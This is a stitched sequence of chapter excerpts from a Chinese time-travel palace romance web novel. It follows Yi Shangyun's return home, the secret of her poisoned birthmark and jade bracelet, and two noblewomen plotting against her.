终于,她缓缓地睁开来双眼,随即伸出手向着脸上那熟悉的毒瘤生长的位置轻轻触摸而去。 然而,手指触到的却依然是那与脸部表皮稍微隆起的熟悉的触感。 没错,这只七彩金丝彩玉镯子的强大功能依旧尚未恢复,她脸上的毒瘤依旧还在。 瞬间只见她眸光一颤,秀气的两道眉毛紧紧蹙起,方才的满心期许此刻被狠狠而又无情地丢入几近绝望的深谷里,久久不能自拔。 “为什么...为什么治疗天花麻斑就可以...而对这普通的血管瘤就不行?究竟哪里错了?”久久的沉默过后她独自坐在马车里低声口中喃喃道。 很快,马车穿过了一片熟悉的街市,便到达了原主的家,亦是她的栖身之地——城西衣府。 “丫头,快下来,到家了”易君浩先下车到了马车边上对还坐在里面一筹莫展的衣上云说道。 此时,当她听到“家”这个字的时候,这才醒过神来,随即揭开车门帘,在易君浩的帮扶下缓缓下车来。 一抬头便望向那自己熟悉而又陌生的门楣上,书写着的两个颇具气势的“衣府”牌匾,在两盏大红灯笼的光照下甚是醒目。 她口中喃喃“又回到这里了,亦是我初至的地方” “丫头,说什么呢?”易君浩似是听见了她的喃喃之音,便开口问。 “哦...没什么,终于到家了,有些...激动...对...是有些激动”衣上云支支吾吾搪塞着。 夜幕已经拉开,此时衣府的大门紧闭着,衣上云忽然转身对易君浩微笑着说“天色不早了,三少进去坐坐,歇息会儿再走吧” “无妨。丫头,快进去吧,颠簸了一路,这两天好好休息,记得我们的约定。到时候三哥哥自会派人来接你,千万不要放三哥哥我的鸽子”说完,易君浩便微笑着一步跃上马车扬长离去。 见易君浩已然离去,衣上云这才回头来重新看向了眼前这座宅院。 她心想,自从进宫到现在再次回到这里,这座院子,这个所谓的家,从来都不曾有人对她有过只字片语丝毫的关怀。 而今,她回来了,显然亦是没有人知道,更没有人关心 。 到底为何原主会在这个家里如此不被待见呢? 她一边疑惑着,一边踏上石阶伸手轻轻叩响了宅院的大门 “砰砰砰” “谁啊,这么晚了敲什么敲”一个哈欠连连的佣人满脸困意地一边开门一边嘴里嘟囔着,甚是一副被打扰到的不悦样子。 佣人一看见眼前这张纱巾遮面熟悉的面孔,瞬间清醒瞪大了眼睛惊呼“大小姐,你怎么回来了” 衣上云微笑着对他说“怎么,我回来了,看你这表情和语气,似乎你很不高兴?” “不,不,不,小的不是这个意思,只是大小姐你进宫服役才短短半载上下,怎么这会儿便回府了?” “那大小姐我,可以先进去再跟你汇报吗?”衣上云故意挑高手里的包袱,打趣佣人道。 “哦,小的失礼,小的失礼,大小姐快快请进”佣人这才意识到自己尽顾着吃惊和说话,到现在还把这位大小姐堵在门口呢。 衣上云一进门来,便问道“府里人都已经歇息了吗?” 佣人再次上好门闩检查稳妥,这才转身带着衣上云往厅堂方向里走去,边走边对她说“这会儿都还不曾歇息,只是小的明日要早起当班,所以歇早了点。值夜的刚去茅房,让小的帮他听着点” 衣上云颔首听着,很快便到了衣府前院的厅堂前,原来今日衣上坤也回府了,透过窗户衣上云看到此时全家都落座在厅里谈笑风生闲话着家常,其乐融融,唯独缺少了自己一人。 “老爷是今日才回府的,快过年了”佣人看到衣上云脸上落寞的表情,对她说道。 她只静静地站在边上看着,听到耳边佣人的这句话,心里一时间竟是满腹酸楚无处说去。 此刻,她心想,原来这个所谓的父亲,也就是原主的父亲,他也是今日回到府的。 同在宫中御药房里当差这么久,发生了这么多事,他竟从来都未曾看过她一眼,问过他一声。还亏她是因他而被牵连责罚,入宫做了一名奴颜婢膝的药女,而今虽已被放出宫来,可过了年以后…… 她几乎都不敢也不想再往下想,以后里充满太多变数,太让人难以琢磨。 最终,她深深叹了口气,还是硬着头皮,装作什么都没看见什么也都没想,落落大方又坦然地走了进去,佣人连忙帮她掀起那副厚厚的门帘来。 “云儿...” 看见她进门来,在座众人皆是惊讶,还没等她来得及行礼请安,便都急了。 “你怎么回来了?”兰姨娘瞬间僵住了脸上方才还好好挂着的笑容,而后微微抬脸皱起眉轻蔑地朝她说道。 她的一对骄傲宝贝的儿女,衣上俊和衣上雪瞬间眉毛上扬,目瞪口呆痴痴地愣住,不能言语。 &n 第六十二章:丫头,只要你好好的 距离城西衣府不远处的百草谷里,逍遥阁的东侧庖屋内,两个超凡脱俗的青衣小仙女正忙的不亦乐乎,这俩人正是易君浩的俩个婢女亦是心腹——名唤紫苏和白芷。 白芷正眉飞色舞的说着好听的话讨好紫苏“紫苏,你的手艺可真好,以后谁要若是娶了你,一定会是这天下最幸福的人。你看今日这一桌丰盛的酒菜:有虫草汽锅鸡、太极鳝鱼、炒饵块、糟烩冬笋、翡翠芦荟、百合玉子虾球、汤味回甘悠长的山药马蹄羊肉汤...还有你亲手用腊梅酿的这壶梅花酿...”话还没说完,一只手却早已忍不住悄悄伸进了那盘百合玉子虾球里。 紫苏见了,一把拍掉了那双贪吃的手爪子道“你再瞎说。不要再吃啦,都偷吃了一个傍晚了还没吃够,若再吃下去,你都快要变成一头小肥猪了,小心没人敢要你,到时候嫁不出去了” “你说谁是小肥猪?谁嫁不出去?有本事你再说一遍,再说一遍来...”白芷说着,便调皮的伸出两只油腻腻黏糊糊的爪子朝着紫苏白净的小脸上胡乱抹去,顿时间俩人在庖屋内你追我赶,甚是乐乎。 正在此时,易君浩风尘仆仆刚从外面匆匆赶回来。双脚一迈入到逍遥阁里便大声怒吼“紫苏...紫苏...” 紫苏和白芷俩听到这熟悉的声音,便立即停止嬉闹。随即紫苏安排白芷道“是三少回来了,快...” 说着,俩人便从庖屋内各自手捧着一个食案匆匆来到逍遥阁。 一进到屋内,俩人便满脸欣喜的呈上了这些美味佳肴来。紫苏欢喜地说“三少今日怎么这么晚才回来,一定饿坏了吧。我和白芷特意为三少准备的酒菜,都是三少平日里最喜食的,三少赶快尝尝” 紫苏只顾盯着自己忙了一整个傍晚才做好的这桌酒菜说着,却根本没有察觉到,此时易君浩正一脸乌云密布,连眉毛和眼睛都全是竖着的。 只见易君浩缓缓走到这桌酒菜前目视了一眼这桌丰盛的晚餐,随即伸出手来,却狠狠将这桌酒菜全部掀翻了。 碗碟落地随即发出“噼噼啪啪”破碎的响亮声音来。 “三少”紫苏和白芷立马眉梢上扬,一脸惊愕的朝其异口同声道。 见易君浩嘴唇紧闭、眉头紧锁、气势汹汹。紫苏便上前向其问道“三少今日到底发生了什么事?如此怒气冲冲,三少可从未如此过?” 听了紫苏的话,易君浩迅速转过脸来眼睛直勾勾地盯着她,紫苏第一次看到易君浩露出这种渗人的眼神来,竟瞬间胆怯起来不敢看他,急急低头躲闪。 这时易君浩发声道“你为何不禀告本谷主那丫头患了极为严重的腿疾?那是很严重的寒毒所致。” 原来是为这事儿,紫苏恍然 大悟,于是便急急抬起头一脸认真的说“三少,并不是紫苏刻意隐瞒,而是紫苏话还未说完,三少便已飞奔而出。如今,三少又怎能责怪紫苏呢?” 易君浩这才想起,却是自己从紫苏口中一得知衣上云今日被放出宫,怕来不及迎接,才没有听完她的禀告。 紫苏这才向易君浩细细禀明了衣上云患上腿疾的因由。 随后,易君浩沉默了片刻,向其道歉“对不起,是本谷主的错,是本谷主当时太激动也太着急了” 这时,白芷一脸委屈地说“三少,紫苏为了这桌晚餐,从一傍晚就开始准备,一直忙到现在,还滴水未进呢?” 易君浩听了,更加自责起自己的一时冲动,却只能化为一片无奈的沉默。片刻后,他忽然眼睛一怔对面前的俩人说“你们俩记得除夕夜之时,帮本谷主准备好阳和汤,本谷主有用” “阳和汤:鹿角片、熟地、炮姜、麻黄、肉桂、甘草、白芥子、川牛膝、地鳖虫、防风、独活,功效温阳散寒祛湿,活血化瘀通络。三少是想要给那丫头医治?”紫苏瞬间反应过来。 思量了片刻,她接着又道“可是三少应该知道,这剂药只具有普通的活血化瘀之效,对那丫头所患的腿疾作用并不大” “你只要做好本谷主吩咐的事情,其余的无需多问”易君浩露出一副深不可测的表情。 但是,跟随他习医药之术多年的紫苏还是猜到了他的心思。此刻,她还真有点不敢相信自己的猜测,莫非谷主想要去找那个东西... “三少,你竟为了那个丫头,要去寻那个药?”紫苏甚是担忧地问,然易君浩一脸决绝不容置疑。 紫苏看了无奈地说“三少你变了,真的变了。平日里你甚是惜命,从来不做亏本的生意,更尤为关注自己的容颜仪态和风度,而如今竟连自己的性命都不顾了” 然易君浩只淡淡说了一句“好了,下去吧” 紫苏和白芷只能一脸无奈地退下。 这时,易君浩一脸忧虑地自言自语道“丫头,为了你,就算让三哥哥赴汤蹈火,三哥哥亦是在所不惜。只要丫头你好好的...” 衣府明月阁里,散发出久违的一片昏暗的烛光。 衣上云刚沐浴更衣好,一脸潮红,裹着单薄的中衣,尽透出一副曼妙凹凸有致的身姿来,一头如瀑的墨发用一支玉簪轻轻将其挽起,准备歇息了。 一路颠簸,亦是好不容易才从宫中回来,恢复了这短暂的自由之身。 此时,她感到很是惬意。尽管这说到底还不是自己真正的家,只是临时占据了原主的灵魂,暂居于属于她的这个所谓的家而已。 “吱呀”一声门响... “燕儿. 第六十三章:玉镯与胎记的秘密 “燕儿怎敢欺瞒小姐呢,不仅如此。自从小姐入宫后,老爷在宫里得知小姐犯了错,受了罚。每次回府后都唉声叹气,整日里寝食难安。又恐夫人知道了担心,便总是谎称宫中差事所致。只因燕儿一直追问老爷小姐的情况,老爷这才无奈将实情告知燕儿。小姐可知道,在这个府里,老爷其实最疼爱的便是大小姐你了” “那为什么,为什么父亲总是在面对我的时候却如此冷漠?”衣上云听了燕儿的一席话,心情又再次沉重了起来,低头不解地喃喃道。 忽然她伸手轻触向脸上的毒瘤,似是有所猜测般地蹙眉朝燕儿轻声说道“莫非...是因为我脸上的这块红色胎记,让父亲觉得很失颜面,故而冷淡于我” 燕儿依旧一边进行着手上娴熟的推拿动作,一边回答她“这个燕儿就无从得知了,不过小姐可以想想办法,试着缓和缓和这父女关系,依照老爷对小姐的关心程度来看,他也不是真心与小姐疏远的。毕竟小姐这脸上的胎记说到底,也算是有他的一份责任在内” 听到这句话,衣上云立马从榻上端坐起,拉起燕儿的手紧盯着她问“什么叫这胎记也有他的一份责任在内,这句话究竟是什么意思?” 燕儿意识到自己说漏了嘴,瞬间被惊吓到,不敢抬眼看她那双满是质问的眼神。 “你快说啊”在衣上云一再的催促和逼问下,她不得已朝四下周围看了看,压低了声音后说道“小姐,这也是燕儿无意中偷听到的,小姐一定要保守秘密” “你尽管说便是,我自有分寸”衣上云答应她。 于是,燕儿咬了咬嘴唇稍作回忆后说“就在西秦学院陆少主上门来退亲的那日,燕儿本是要去给夫人送几日前新订的如意发簪。谁想老爷也在房内,燕儿本想退了去,就在那时却隐隐约约听到老爷与夫人起了争执,说...说小姐脸上的胎记是刚出生的时候亲眼看见有人故意下毒所致?” “下毒?可知是何人所为?”衣上云惊道。 燕儿抿着小嘴摇了摇头“老爷夫人在屋内说话的声音极小,燕儿听到的都是断断续续的,并未曾听到那下毒之人的名字?燕儿猜想,定是因为陆少主当日上门退婚的理由之一,便是小姐脸上的红色胎记,故此老爷夫人才会忽然提起吧” 衣上云一脸不解地自言自语“若真如此,那这个人为何要对一个刚出生的婴儿下此毒手呢?而且,下毒之时,原主的父母竟是亲眼所见,那却又为何不加以阻止?” “小姐,所以依燕儿看来,这就是怪老爷夫人没有看护好小姐,才导致小姐不甚被歹人借机下了毒,使小姐的容貌受损。他们自是难辞其咎,不是吗?”燕儿有些愤怒的说道。 然衣上云却并没听进去,只急急带着有些试探的口气追问她“此事,府中可还有其他人知晓?比如说...兰姨娘或者一些在衣府里的老人” 燕儿将目光盯向了一边,一眨不眨地思考了片刻后回道“应该没有其他人知道,燕儿也是不慎偷听到的,此事燕儿以前也从未在府中听别人提过...” 忽然,燕儿顿了一下后又惊声道“喔...燕儿想起来了,当时燕儿好像隐隐约约还听见夫人提起,那人送了小姐一个什么玉镯” “玉镯”衣上云听了后凝神一想便举起自己的一只手来,拨开衣袖问道“可是这个玉镯?” 衣上云激动地亮出自己手腕上的七彩金丝彩玉镯子来,可燕儿看了却只有摇头“小姐,燕儿真的不知道是只什么样的镯子?” 见衣上云听了极为失望,皱着眉头陷入了烦闷的沉思,燕儿便开口急急道“好了别想了。小姐今晚刚回府,便先好好歇息歇息吧。这些事等以后慢慢再做打算吧”【!!&#免费阅读】 说着她便搭手让衣上云重新躺好,又帮其盖好锦衾,最后缓缓放下来浅紫色的幔帐,这才收拾好东西轻轻将门掩上,退了出去。 躺在床榻上,静静的看着眼前的一切,衣上云忽然生出一种不知道是自己还是原主意识里莫名的熟悉亲切感来。 但片刻后,她又禁不住琢磨起来:原来原主的父母早已知道原主脸上的胎记并非胎记,而是中毒。如今看来要想知道这其中隐藏的秘密,也只能是亲自询问原主的父母了。 但是,就依照方才燕儿所述,原主父母对这个话题多年来守口如瓶,如此保密,竟连兰姨娘都不得而知。她很确定,这一定是个大秘密,而且一定跟那个送玉镯的人有关,那人给她的脸上下了毒,却又送给她如此贵重的一个玉镯,甚至连兰姨娘和她那个宝贝女儿都不曾有的如此贵重的首饰,而唯独只有她有。这到底是为什么呢? 寂静的冬夜里,外面天空中又扬扬洒洒地飘起了一粒粒细细的雪来。 穿越至今,短短数月里竟发生了这么多事,就如同一场梦,她跨越千年而至,却不想命运如此多舛。归期无望,想要寻一隅安定的栖身之地却偏偏总是颠沛流离。 她明明是自带神器而至,可以在这个古老的国度里,凭此翻云覆雨,却不想这神器竟变成了一只中看不中用,实至名归的金丝玉镯。 现今这玉镯如果真的如燕儿所说,是那个神秘人所赠,它就似乎又牵扯到了另一个大秘密。 原以为这七彩金丝彩玉镯子是从21世纪里追随自己而来,对魏明轩唯一的睹物思人的念想。而今看来却真的成了在这个平行时空里又一个同时存在的奇迹。 第六十四章:腊月春与寒荒酿 “紫苏,你到底要干什么,你不要吓我,你把剑放下,有话好好跟三少说,赶快放下来,我求你了...呜...呜...”白芷吓得拉着紫苏的胳膊哭了起来,而紫苏紧握利剑的力气竟如此之大,白芷多次尝试拼尽全力也丝毫撼动不了。 直到听到白芷的哭声,她才慢慢平复了下来,但架在脖子上的利剑却依旧丝毫未移开半分。 此时,她只能对易君浩无奈的哀求道“既然三少对那丑...对那丫头的这份执念如此之深,甚至连紫苏的性命都阻止不了。既然如此,紫苏只求此程能陪同三少一同前往,愿尽自己的绵薄之力,护三少周全。此去生亦同生,死亦同死” 白芷一听急了,也急急抹了一把眼泪后道“白芷也要与三少和紫苏一同前往,生死相随” “白芷” “紫苏” 俩人四目相对,一切尽在不言中。 而易君浩却始终皱着眉头低着眼睛,不作言语。 紫苏见其不允,便一把将剑刃更逼近了自己一些,此刻竟真的触到了脖颈上的皮肤,只见鲜血瞬间渗了出来。 “紫苏”白芷大声惊叫,紧跟着也迅速拔出自己剑鞘里的长剑抹向了自己的脖子。 就在这时,易君浩急急伸手,不知道弹出了个什么东西,只听见发出“咻,咻”连续的两声。跟着,紫苏和白芷俩人手中的长剑便都被击中纷纷落地。 俩人瞬间不约而同地望向了自己脚下掉落的长剑,又急急抬头看向易君浩的脸。 易君浩此时终于开口道“你们俩臭丫头。罢了,你们愿意跟便跟着吧,只是本谷主与你们有言在先,到时候,万事都务必听从本谷主的命令,否则我们三人都会有危险,知道吗?” “是,奴婢遵命”俩人欢喜着抱拳答应道,易君浩朝她们无奈的摇了摇头后便转身启程。 紫苏和白芷连忙捡起地上方才被打落的佩剑,将其又一次安全地插入剑鞘中,再一次相视而笑后便急急跟了上去。 城东秦王府里,程良迈着匆匆的脚步进入承华殿里。 一进门便恭敬地朝其行礼道“殿下” 轩辕翰正临窗而立,神色平静地单手负后,另一手执一紫砂茶盏,注视着窗外那些因昨夜的一场冬雪过后,被积雪压弯了的婀娜多姿的松枝发呆。 听到程良的声音,他方才醒过神来转身看向他。 见主子转身,程良急急禀道“殿下,西秦学院陆小姐到” “她为何这个时候来了?”轩辕翰似是有些意外,眼看着马上就到除夕了,陆天骄为何这个时候会匆匆赶来。 说着,便见一个身着一袭粉色衣裙,披着暗红色斗篷身材曼妙素净的少女,缓缓进入大殿里来,她微微一笑犹如鲜花绽放般。 来人正是西秦学院陆贤之女——陆天骄。 她手里捧着一个黑色的木质小锦盒温文尔雅,一进来便朝着轩辕翰微笑着欠身行礼,亲切地说“天骄给翰哥哥请安” 然轩辕翰的脸上却丝毫没有回应给她所期待的惊喜表情,依旧只是冷冷地问“你怎么来了?是不是有什么紧急情况?” 陆天骄看着他的脸,心中甚是失望,随即将手里的锦盒恭恭敬敬地双手呈上。轩辕翰看见眼睛一怔,单手接过锦盒,程良见状赶忙接过主子另一手里的茶盏过去放好。【~@*免费阅读】 等他再回到主子身边的时候,轩辕翰已经打开了锦盒,锦盒里放着的是一封陆贤亲笔书给轩辕翰的被蜡封的密信和一支同常规小药瓶类似大小的玉瓶。 轩辕翰拿起玉瓶端详了一眼后又放回锦盒,从其中拿出了密信,程良上前接过他手中的锦盒。轩辕翰很快便将密信上的封蜡除去,打开来仔细看着,原来是自己已期待很久的信息。 这时,陆天骄开口道“本来时已至除夕,天骄不该来打扰殿下。但父亲说这些东西是殿下着急四处找的,故特命天骄务必亲自尽快将其送来交给殿下。天骄虽不知所为何事,但是只要是殿下所急之事,天骄自不敢怠慢” 轩辕翰很快看完陆贤的密信,却似是根本没听见陆天骄所言。只是吩咐身边的程良“带陆小姐下去歇息...安顿好后,你速速回来” “属下遵命”陆天骄尚还意犹未尽,想要继续说话,不想却被程良急急催促着请出了大殿“陆小姐,请” 轩辕翰此时脸上虽平静如同往昔,然内心却狂喜着,因为今日陆天骄带给他的,确实是个好消息,西秦学院果然不同凡响,陆贤没让他失望。 匆匆安顿好陆天骄,程良又急急返回承华殿“殿下,有何吩咐?” 轩辕翰便将手中的密信递给了程良,程良接过一边看一边惊道“太冥有山,其名寒荒。其地势险要且积雪冰川常年不散、一片死寂、荒无人烟、高约二千丈。传说山上有一神草,甚为罕见珍贵,其形似荷,色黄绿亦或微紫,犹如娇嫩之少女亭亭而立,名曰腊月春,于其雪间而生。此神草几十年生一株,最后一年腊月开花。花开时采收入药,乃驱寒除湿、强筋活血之奇药,唯以顶峰者药效为最佳极品” 看到这里程良高兴地说“太好了,殿下,看来衣药女的腿有救了,这陆贤还真不愧为学识渊博之辈,如此冷门的奇花异草也能被他发现” 然再往下继续看去 第六十五章:一石二鸟 梅汐媛意味深长悠悠道“看来真是踏破铁鞋无觅处,得来全不费工夫。陆天骄来的还真是时候,本王妃正愁着怎样才能再见到她呢?” 赵嬷嬷听了一脸疑惑问“王妃找陆小姐是想......” 梅汐媛冷笑一声,缓缓说道“嬷嬷,你相不相信本王妃竟然被那个姓陆的丫头当成了棋子...对,一颗她复仇的棋子。如果本王妃没猜错的话,这个陆小姐恐怕是对咱们高高在上的秦王殿下早就存了不轨之心。哼...什么小师妹,说着最冠冕堂皇的话,背地里却做着最卑鄙龌龊之事” 赵嬷嬷刚开始听得迷糊,然再听下去似乎明白了几分,只是像似确认般地疑问道“陆小姐对秦王殿下真的心存不轨?” 然此时,梅汐媛深吐一口浊气,眼睛看向了赵嬷嬷方才端进来放在自己手边的那碟点心,一碟精致的形如满月般酥黄表皮上点着一朵红梅的枣泥桃仁酥,优雅地伸出手拾起一块儿靠近鼻翼轻轻闻了闻,望着表皮上的那朵红梅开口道“好雅致的点心,可惜它不该夺了真正红梅的光彩” 接着她轻轻剥掉糕点上面那层点着红梅的酥皮后,才一脸享受的用起这块儿点心来。 赵嬷嬷痴痴看着她,不知梅汐媛心里究竟做何打算? 正在这时,门外的婢女进来禀告“王妃娘娘,陆小姐求见” 梅汐媛听见,随即放下手中尚还未用完的点心,赵嬷嬷赶忙为其换上了一碗清香扑鼻的花茶,紧接着又捧过漱盂来让梅汐媛漱了口,之后她便用帕子轻拭了拭嘴角,这才稍微整理了一下妆饰端坐了回去,等着接见这个不知天高地厚敢拿她做棋子布局之人。 陆天骄果然有胆识,对于上次离开秦王府时的所言所行竟能如此心怀坦荡,让梅汐媛不禁更加意外。 距离上次见面也不过数月,然陆天骄气质依旧温文尔雅,一进来便朝梅汐媛十分客气地欠身见礼“小女天骄给秦王妃娘娘请安”【¥¥¥!更好更新更快】 梅汐媛看着眼前这个深藏不露又万分聪明的女人,顿时不禁痴愣了一下,又立刻清醒急急说道“天骄妹妹快请起,之前本王妃不是允你以后与我姐妹相称吗?这不过数月,妹妹竟怎么这么快便忘啦?” “是,梅姐姐”陆天骄含蓄的答应后,方才微笑着缓缓起身,梅汐媛随即伸出手来示意其坐到自己身旁,紧接着一个婢女捧着一大食案进来,奉上了各种名贵茶点。 梅汐媛亲自端起案几上的热茶,满脸堆笑着亲切地说道“妹妹怎么今日匆匆赶来,这外面天寒地冻的,妹妹可仔细当心着点身子呢?快喝口热花茶暖一暖” 说着,便将一碗分外好看的浅绿色上飘着点点白雪的茶汤递到陆天骄的面前,陆天骄接过之后看着有 些奇特,又闻了闻,问道“姐姐这也是花茶吗?天骄以为花茶中向来都是不见花,只见茶的?可这杯中上面漂浮的...难道是...茉莉花瓣?” 梅汐媛笑道“妹妹果然聪明,平日里我们所讲的茉莉花茶,其实就是把茉莉花和茶叶放在一起,茉莉花吐香和茶胚吸香,最后再把茶叶和茉莉花分离窨制而成。而这碧潭飘雪却是选用的进伏晴天方才采摘的极品鲜茉莉花和早春嫩芽精制而成,妹妹看这浅绿色茶汤上飘着点点白雪,色彩淡雅适度,仅观之就已令人赏心悦目,心旷神怡,茶味便更是淳香可口,妹妹尝尝?” 说完,陆天骄便一手持杯托,另一手扶着杯盖在茶汤表面轻轻抹了两下,方才抿了一口品饮,瞬间后直道“花香淡淡,经久停留于唇齿之间,果然是好茶” 见她喜欢,梅汐媛听了满面笑容道“能令我东宁皇族所钟爱之物,定是这灵空大陆之极品,妹妹喜欢,回去的时候姐姐吩咐让赵嬷嬷包一些给妹妹便可” 陆天骄听了连忙放下手中的茶碗,笑着关切道“那妹妹就谢姐姐赏赐了。对了,梅姐姐近来在王府,可还一切安好?” 闻此,梅汐媛脸上的笑意渐渐淡去,随后又故作平静地说“妹妹有所不知,姐姐这身子打小一向不是太好,所以须有一个伶俐的医女贴身照料方可” 陆天骄即刻忧心地关切道“竟是这样...那殿下可已为姐姐安排了妥当之人照料?还是姐姐本就已有了合适的人?如若需要,妹妹可以帮忙给姐姐打听一些可信的稳妥之人?” 梅汐媛依旧笑着道“这个人找是找到了,还算是个机灵的奴才,而且过了元宵节便要入王府里来了” “如此,那妹妹便安心了。殿下平日里本就国事繁重,也生性沉默,需要人花心思照顾。姐姐千里迢迢远从东宁而来,如今殿下亦需要姐姐的侍奉,姐姐就更是心力交瘁了。所以,姐姐一定要保重身子才是” 陆天骄虽嘴上说的乐意,心里实则已经嫉妒地发狂。她对轩辕翰的心,本是容不下这个王府里增添任何女人的,哪怕只是一个小小的婢女,亦是决不允许。而现在不过短短数月,竟接二连三地搬进秦王府这么多花花草草,然始终却都不曾有自己的一席之地。 “妹妹难道不好奇这有本事能踏进秦王府的医女是何许人吗?”梅汐媛似是故意提示般地试探道,这一来便打断了陆天骄此时的思绪。 陆天骄不知道梅汐媛这会儿为什么对自己说这样的话,然本着实际上确实自己的好奇心也在偷偷作祟,而她也自是知道秦王府众人的口风极严,似乎也只有从梅汐媛这里才能得到她想要的消息,于是便稍作猜测 第六十六章:姐妹情深,合力抗敌 梅汐媛因爱而乱了方寸,已失去理智。纵使她内心对轩辕翰有多怨恨,无论如何,她总是不希望自己心尖上的人身陷险境,而且她以后还要靠他爬上那个自己心心念念的位置,夺取自己终身最高的荣誉。 此刻,她一片娇嫩的朱唇紧紧闭合着,努力尝试让自己情绪慢慢平静下来,赵嬷嬷抚着她的后背帮忙顺着气。 终于她紧握的双拳慢慢松了开来,也就在此时下定了决心豁出去,对陆天骄抛出那个筹码,那个可以一石二鸟的筹码,但也是身为一个女人,任谁都真心无法接受的筹码,虽然她知道这件事早晚会发生,然依旧不想这么快便向命运妥协。 于是,她的脸上不再强颜欢笑,即刻变身为本性一身傲骨的东宁国公主,亦是西秦国尊贵无比的秦王妃,深吸一口气摆正姿态对陆天骄说道“你不必再对本王妃遮遮掩掩,本王妃早已看出你对殿下心存爱慕之心,而且你亦早已发现殿下对衣上云那个奴才的心意,本王妃说的没错吧?” 梅汐媛趾高气昂地以秦王府女主人的身份自称着冲陆天骄说出这番话来,陆天骄顿时也感到自己已无佯装下去的必要,亦是毫不示弱甚至有些理直气壮的回答她。 只见她微微抬头,看着梅汐媛的眼睛一字一字清清楚楚的说“没错,天骄的确从小就对翰哥哥心存爱慕,但天骄绝不认为这是一种耻辱。天骄与翰哥哥从小就在西秦学院相识,可谓是青梅竹马。天骄曾向天起誓,此生只认翰哥哥一人,生为君生,死为君死。这份刻骨铭心的真情,岂是你能体会的?然命运弄人,偏偏陛下赐婚你于翰哥哥,可是凭什么?只因为你贵为东宁公主吗?因此,我陆天骄便要永远低你一等?如果不是你,翰哥哥早晚都会是我的,没有谁比我更在乎他,更懂他。可就因为你的出现,我...我不甘心...我不甘心” 梅汐媛被陆天骄这番发自肺腑的话惊到,却随即哼笑了一声。甚是轻蔑地朝她说“好一个生为君生,死为君死。你以为如果没有本王妃,殿下就会喜欢你吗?会立你为妃?还是...这本就只是你的一厢情愿,秦王殿下他根本从来都不曾把你放在眼里,更别说心里了...” 梅汐媛话还没说完,陆天骄又一听到一厢情愿这四个字,便面目狰狞般地怒吼起来“住嘴,翰哥哥怎会不在乎天骄,怎会不把天骄放在心上。从小到大,我们一起读书,一起嬉戏,一起吃饭,一起受罚,一起开心,一起难过。而你...你又了解翰哥哥多少?你...只不过是个有名无实的架空王妃罢了,天骄说的对吗?” 陆天骄似是挑衅一般的瞪着梅汐媛说着,梅汐媛听到有名无实四个字亦是气急败坏 ,再一次失了身份道“你...你怎么知道我与殿下尚未圆房?” 陆天骄哼笑一声,道“我不仅知道翰哥哥与你尚未圆房,我还知道除了大婚之夜,你独自一人在喜房空守洞房一夜外,从第二日开始,你便再也没有踏入过翰哥哥的寝殿——林月轩,不知天骄说的...对吗?” 梅汐媛听了,气的牙齿咬得咯咯响,原来自己所受的委屈早已全都暴露在眼前这个女人的面前,赵嬷嬷看见上前去想劝,却被梅汐媛伸手一把挡了回去。 只见梅汐媛再吸一口气后,瞬间恢复了那一身高傲之气。接着说“哼,就算你说的都是事实,那又如何?我与秦王,乃是陛下赐婚。如今,不要说在这个秦王府里,就算是在整个西秦国,甚至于整个灵空大陆,人人都知道只有我——梅汐媛,才是真正的秦王妃,无论如何,秦王府真正的女主子,睥睨天下的战神秦王的结发正妻,这辈子都只能是我梅汐媛一人。而你陆天骄,又是何身份?”【…#…免费阅读】 陆天骄听了,终于感到自己此时已完全无力再抬头对她,因为事实确实如此。 她沉默着,不言亦不语,似是一只战败的斗鸡,再也爬不起来。最终,她还是输给了“出身”二字。 然梅汐媛看了,终于颇为满意的吐了口浊气,似是已经完全泄愤。本该此时是自己炫耀成绩的时刻,然她却并没有这样做,她知道这只是她和对方谈判前,先让对方彻底掉价陷其于最低谷,然后她再抛出极具诱人的筹码。让对方感觉明明已彻底输给自己,而不但不痛恨她,反而却还要对她感恩戴德,马首是瞻。 这时,梅汐媛优雅地过去端起案上那碗观之就已令人赏心悦目心旷神怡的碧潭飘雪,缓缓递到陆天骄手中,温柔地对她微笑着说“妹妹,姐姐也不是不通情理之人,知道你对殿下情深义重。事到如今,你我姐妹之间,话也都说开了,姐姐亦是知道了妹妹的一片真心。如今,姐姐心里倒是有个主意,能让妹妹得偿所愿,就不知妹妹可有兴趣?” “得偿所愿?”陆天骄思量了片刻,缓缓接过梅汐媛递来的茶碗,抬眼用疑问的眼神看着她。 梅汐媛故作姿态,叹了一声道“姐姐如今才知道,妹妹亦是真心喜欢着殿下。你我既然已是姐妹,姐姐理所应当为妹妹着想” “你是说...”陆天骄心里似已有所怀疑,然却不敢妄自说出口来。 于是,梅汐媛笑着说“妹妹既然喜欢殿下,那姐姐自然是要成全妹妹。” “哼,怎么可能,天下有哪个女人愿意与人分享自己深爱的男人”陆天骄听了冷声哼笑道。 然梅汐媛却又发出一声轻叹,似是有些故作无奈地说“这要是换成普通百姓家, 或许会有一个男人一生只有一个女人。可是妹妹,你我姐妹所深爱的,那可是秦王、是皇族中人、皇亲国戚、西秦国唯一的亲王、他可不是普通百姓。所以,他注定此生不可能只有一个女人,不是吗?既然这早已是命中注定的,姐姐又何必要与命相争呢?” 陆天骄似是明白了梅汐媛所言,却依然故作回避地说“那这一切又都与我何干?” “妹妹如此聪慧,这会儿怎么就范糊涂了。方才姐姐不是说了,既然妹妹喜欢殿下,那姐姐自然是要成全妹妹,让妹妹做这秦王府的第二个王妃啊” 梅汐媛这话一出,一旁的赵嬷嬷立刻大惊失色,差点开口说出话来,梅汐媛看见立马朝其抛过去一个凌厉的眼神,这才止住了她。 “哼,秦王府第二个王妃,枉我陆天骄一世清高,竟也落得了个第二...罢了...谁叫他是天骄的翰哥哥呢”陆天骄说着说着,咬紧牙关闭上了眼睛隐忍下去。 陆天骄知道这么好的事,梅汐媛自不会白白送给她,而她真要想进秦王府的门,还真得梅汐媛这个秦王正妃点头才行。可即便如此,以后的漫漫岁月里,她亦是要永远活在梅汐媛的影子下。 只见片刻后,她忽然睁开眼来却没有看梅汐媛,只看着自己前方,冷冷地说“那条件呢?” 梅汐媛没想到眼前这个高傲自大的女人,此刻竟真的如此理智与谨慎,亦是感慨她竟然为了轩辕翰肯向她低头。 于是,她缓缓落座下去在陆天骄的旁边,一本正经的与她谈起合作“想必妹妹比我更清楚,眼下有一个人,让我们姐妹都心怀恐惧,对吗?” “你说的是...衣上云那个丑丫头”,梅汐媛听了陆天骄的这句话,却神色悠闲地轻笑着伸手过去,拉起陆天骄的一只手来拍了拍,对她温柔地说道“妹妹应该叫我姐姐才是,对吗?” 